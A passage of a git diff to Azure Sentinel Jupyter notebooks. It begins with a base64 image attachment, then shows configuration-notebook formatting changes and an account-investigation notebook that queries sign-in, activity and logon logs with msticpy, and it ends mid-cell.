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" - } - }, "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "### Setting the path to your msticpyconfig.yaml\n", "\n", "This is a good point to set up an environment variable so that\n", @@ -460,7 +503,8 @@ "- set the `MSTICPYCONFIG` environment variable to point to that location:\n", "\n", "#### Windows\n", - "![image.png](attachment:ad05bde6-0765-44de-83f8-d7d6e38030f6.png)\n", + "\n", + "\n", "\n", "#### Linux\n", "In your .bashrc (or somewhere else convenient) add:\n", @@ -476,7 +520,7 @@ "accessible only by the user who created it.\n", "\n", "1. Open a terminal
\n", - " ![image.png](attachment:97bef751-11a7-49e4-b881-0e2e7ead1a30.png)\n", + " \n", " \n", " Your current directory should be your AML file store home directory\n", " (this is mounted in the Compute Linux system) and the prompt will look something like this\n", @@ -535,6 +579,8 @@ "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "### Verify (or add) Azure Sentinel Workspace settings\n", "\n", "If you loaded a config.json file you should see your workspace displayed. If not,\n", @@ -571,6 +617,8 @@ "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "### Adding Threat Intel (TI) Providers\n", "\n", "You will likely want to do lookups of IP Addresses, URLs and other items to check for any Threat Intelligence reports.\n", @@ -632,6 +680,8 @@ "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "### Adding GeoIP Providers\n", "\n", "MSTICPy supports two Geo IP providers - Maxmind GeoIPLite and IP Stack.\n", @@ -673,7 +723,7 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "

Important Security Note

\n", + "

Important Security Note

\n", "\n", "> You might not be too comfortable leaving API keys stored in\n", "> text files. You can opt to have these settings stored either:\n", @@ -690,6 +740,8 @@ "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "### Optional Settings 1 - Azure Data and Azure Sentinel APIs\n", "\n", "### Azure API and Azure Sentinel API\n", @@ -725,6 +777,8 @@ "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "### Optional Settings 2 - Autoload QueryProviders\n", "\n", "This section controls which, if any query providers you want to load automatically\n", @@ -777,6 +831,8 @@ "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "### Optional Settings 3 - Autoloaded Component\n", "This section controls which, if other components you want to load automatically\n", "when you run `nbinit.init_notebook()`.\n", @@ -839,6 +895,8 @@ "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "## Save your file and add the MSTICPYCONFIG environment variable\n", "\n", "Save your file, and, if you haven't yet done so, create an\n", @@ -849,6 +907,8 @@ "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "## Validating your `msticpyconfig.yaml` settings\n", "\n", "MpConfigFile includes a validation function that can help\n", @@ -909,7 +969,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.7.9" + "version": "3.7.10" }, "toc": { "base_numbering": 1, diff --git a/Entity Explorer - Account.ipynb b/Entity Explorer - Account.ipynb index bb73fbb..8057356 100644 --- a/Entity Explorer - Account.ipynb +++ b/Entity Explorer - Account.ipynb @@ -1,1505 +1,1644 @@ { - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Entity Explorer - Account\n", - "
\n", - "  Details...\n", - "\n", - " **Notebook Version:** 1.0
\n", - " **Python Version:** Python 3.6 (including Python 3.6 - AzureML)
\n", - " **Required Packages**: kqlmagic, msticpy, pandas, numpy, matplotlib, networkx, ipywidgets, ipython, dnspython, ipwhois, folium, maxminddb_geolite2
\n", - " **Platforms Supported**:\n", - " - Azure Notebooks Free Compute\n", - " - Azure Notebooks DSVM\n", - " - OS Independent\n", - "\n", - " **Data Sources Required**:\n", - " - Log Analytics - SecurityAlert, SecurityEvent, HuntingBookmark, Syslog, AAD SigninLogs, AzureActivity, OfficeActivity, ThreatIndicator\n", - " - (Optional) - VirusTotal, AlienVault OTX, IBM XForce, Open Page Rank, (all require accounts and API keys)\n", - "
\n", - "\n", - " Brings together a series of queries and visualizations to help you determine the security state of an Account. The account can be a Windows or Linux account or an Azure Active Directory/Office 365 account.\n", - "\n", - "The Notebook contains sections for reviewing activity for Host accounts (Linux and Windows) and for Azure Active Directory accounts. It also has a general section that looks for related items independent of the account type." - ] - }, - { - "cell_type": "markdown", - "metadata": { - "toc": true - }, - "source": [ - "

Contents

\n", - "
" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Hunting Hypothesis\n", - "Our broad initial hunting hypothesis is that a we have received account name entity which is suspected to be compromised and is being used malicious manner in internal networks, we will need to hunt from a range of different positions to validate or disprove this hypothesis." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "---\n", - "### Notebook initialization\n", - "The next cell:\n", - "- Checks for the correct Python version\n", - "- Checks versions and optionally installs required packages\n", - "- Imports the required packages into the notebook\n", - "- Sets a number of configuration options.\n", - "\n", - "This should complete without errors. If you encounter errors or warnings look at the following two notebooks:\n", - "- [TroubleShootingNotebooks](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/TroubleShootingNotebooks.ipynb)\n", - "- [ConfiguringNotebookEnvironment](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)\n", - "\n", - "If you are running in the Azure Sentinel Notebooks environment (Azure Notebooks or Azure ML) you can run live versions of these notebooks:\n", - "- [Run TroubleShootingNotebooks](./TroubleShootingNotebooks.ipynb)\n", - "- [Run ConfiguringNotebookEnvironment](./ConfiguringNotebookEnvironment.ipynb)\n", - "\n", - "You may also need to do some additional configuration to successfully use functions such as Threat Intelligence service lookup and Geo IP lookup. \n", - "There are more details about this in the `ConfiguringNotebookEnvironment` notebook and in these documents:\n", - "- [msticpy configuration](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html)\n", - "- [Threat intelligence provider configuration](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html#configuration-file)\n" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", - "\n", - "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", - "\n", - "display(HTML(\"

Starting Notebook setup...

\"))\n", - "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", - " \n", - "\n", - "# If not using Azure Notebooks, install msticpy with\n", - "# !pip install msticpy\n", - "from msticpy.nbtools import nbinit\n", - "nbinit.init_notebook(\n", - " namespace=globals(),\n", - " extra_imports=[\"ipwhois, IPWhois\"]\n", - ");" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Get Workspace and Authenticate\n", - "
\n", - "  Details...\n", - "If you are using user/device authentication, run the following cell. \n", - "- Click the 'Copy code to clipboard and authenticate' button.\n", - "- This will pop up an Azure Active Directory authentication dialog (in a new tab or browser window). The device code will have been copied to the clipboard. \n", - "- Select the text box and paste (Ctrl-V/Cmd-V) the copied value. \n", - "- You should then be redirected to a user authentication page where you should authenticate with a user account that has permission to query your Log Analytics workspace.\n", - "\n", - "Use the following syntax if you are authenticating using an Azure Active Directory AppId and Secret:\n", - "```\n", - "%kql loganalytics://tenant(aad_tenant).workspace(WORKSPACE_ID).clientid(client_id).clientsecret(client_secret)\n", - "```\n", - "instead of\n", - "```\n", - "%kql loganalytics://code().workspace(WORKSPACE_ID)\n", - "```\n", - "\n", - "Note: you may occasionally see a JavaScript warning displayed at the end of the authentication - you can safely ignore this.
\n", - "On successful authentication you should see a ```popup schema``` button.\n", - "To find your Workspace Id go to [Log Analytics](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces). Look at the workspace properties to find the ID.\n", - "
" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# Authentication\n", - "ws_config = WorkspaceConfig()\n", - "qry_prov = QueryProvider(data_environment=\"LogAnalytics\")\n", - "qry_prov.connect(connection_str=ws_config.code_connect_str)\n", - "table_index = qry_prov.schema_tables" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "#### Authentication and Configuration Problems\n", - "\n", - "
\n", - "
\n", - " Click for details about configuring your authentication parameters\n", - " \n", - " \n", - "The notebook is expecting your Azure Sentinel Tenant ID and Workspace ID to be configured in one of the following places:\n", - "- `config.json` in the current folder\n", - "- `msticpyconfig.yaml` in the current folder or location specified by `MSTICPYCONFIG` environment variable.\n", - " \n", - "For help with setting up your `config.json` file (if this hasn't been done automatically) see the [`ConfiguringNotebookEnvironment`](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb) notebook in the root folder of your Azure-Sentinel-Notebooks project. This shows you how to obtain your Workspace and Subscription IDs from the Azure Sentinel Portal. You can use the SubscriptionID to find your Tenant ID). To view the current `config.json` run the following in a code cell.\n", - "\n", - "```%pfile config.json```\n", - "\n", - "For help with setting up your `msticpyconfig.yaml` see the [Setup](#Setup) section at the end of this notebook and the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)\n", - "
" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Enter account name and query time window\n", - "Type the account name that you want to search for and the time bounds over which you want to search. \n", - "\n", - "You can specify the account as:\n", - "\n", - "- a simple user name (e.g. `alice`)\n", - "- a user principal name (`alice@contoso.com`)\n", - "- a qualified windows user name `mydomain\\alice`\n", - "\n", - "In the second two cases the domain qualifier will be stripped off before the search. The search is not case sensitive and will match full substrings. E.g. `bob` will match `domain\\bob` and `bob@contoso.com` but not `bobg` or `bo`." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "WIDGET_DEFAULTS = {\n", - " \"layout\": widgets.Layout(width=\"95%\"),\n", - " \"style\": {\"description_width\": \"initial\"},\n", - "}\n", - "accountname_text = widgets.Text(description='Enter the Account name to search for:', **WIDGET_DEFAULTS)\n", - "display(accountname_text)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "query_times = nbwidgets.QueryTime(units='day', max_before=200, before=5, max_after=7)\n", - "query_times.display()" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# Set up function to allow easy reference to common parameters for queries\n", - "def acct_query_params():\n", - " return {\n", - " \"start\": query_times.start,\n", - " \"end\": query_times.end,\n", - " \"account_name\": accountname_text.value,\n", - " }" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Data Sources available to query\n", - "This shows all of the tables in the workspace with a string matching the account name entered.\n", - "Note that these matches may be accidental and not necessarily relate to the account that you are interested in." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# KQL query for full text search of IP address and display all datatypes \n", - "datasource_status = '''\n", - "search \\'{account_name}\\'\n", - "| where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", - "| summarize RowCount=count() by Table=$table\n", - "'''.format(**acct_query_params())\n", - "datasource_status_df = qry_prov.exec_query(datasource_status)\n", - "\n", - "#Display result as transposed matrix of datatypes availabel to query for the query period \n", - "if len(datasource_status_df) > 0:\n", - " display(Markdown(\"### \"\n", - " + \"Datasources available to query for Account \"\n", - " + f\"*{acct_query_params()['account_name']}* \"))\n", - " display(datasource_status_df)\n", - "else:\n", - " display(Markdown(f'### No datasources available to query for the query period '))" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Search for Account Name in Host, Azure Active Directory (AAD), Azure and Office 365 Data.\n", - "\n", - "This section searches for activity related to the account name entered earlier. It looks for the most recent activity in the following sources:\n", - "- Azure Active Directory Signin logs\n", - "- Azure Activity log\n", - "- Office Activity log\n", - "- Windows Security events for logon and logon failure\n", - "- Linux Security events for logons\n", - "\n", - "### Query Data Sources" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# AAD\n", - "md(\"Searching for AAD activity...\")\n", - "summarize_clause = \"\"\"\n", - "| summarize arg_max(TimeGenerated, *) by UserPrincipalName, OperationName, \n", - " Identity, IPAddress, tostring(LocationDetails)\n", - "| project TimeGenerated, UserPrincipalName, Identity, IPAddress, LocationDetails\"\"\"\n", - "\n", - "aad_signin_df = (qry_prov.Azure\n", - " .list_aad_signins_for_account(**acct_query_params(),\n", - " add_query_items=summarize_clause)\n", - " )\n", - "\n", - "md(\"Searching for Azure activity...\")\n", - "# Azure Activity\n", - "summarize_clause = \"\"\"\n", - "| summarize arg_max(TimeGenerated, *) by Caller, OperationName, \n", - " CallerIpAddress, ResourceId\n", - "| project TimeGenerated, UserPrincipalName=Caller, IPAddress=CallerIpAddress\"\"\"\n", - "\n", - "azure_activity_df = (qry_prov.Azure\n", - " .list_azure_activity_for_account(**acct_query_params(),\n", - " add_query_items=summarize_clause)\n", - " )\n", - "\n", - "md(\"Searching for Office365 activity...\")\n", - "# Office Activity\n", - "summarize_clause = \"\"\"\n", - "| project TimeGenerated, UserId = tolower(UserId), OfficeWorkload, Operation, ClientIP, UserType\n", - "| summarize arg_max(TimeGenerated, *) by UserId, OfficeWorkload, ClientIP\n", - "| order by TimeGenerated desc\"\"\"\n", - "\n", - "o365_activity_df = (qry_prov.Office365\n", - " .list_activity_for_account(**acct_query_params(),\n", - " add_query_items=summarize_clause)\n", - " )\n", - "\n", - "md(\"Searching for Windows logon activity...\")\n", - "# Windows Host\n", - "summarize_clause = \"\"\"\n", - "| extend LogonStatus = iff(EventID == 4624, \"success\", \"failed\")\n", - "| project TimeGenerated, TargetUserName, TargetDomainName, Computer, LogonType, SubjectUserName, \n", - " SubjectDomainName, TargetUserSid, EventID, IpAddress, LogonStatus \n", - "| summarize arg_max(TimeGenerated, *) by TargetUserName, TargetDomainName, LogonType, Computer, LogonStatus\"\"\"\n", - "\n", - "win_logon_df = (qry_prov.WindowsSecurity\n", - " 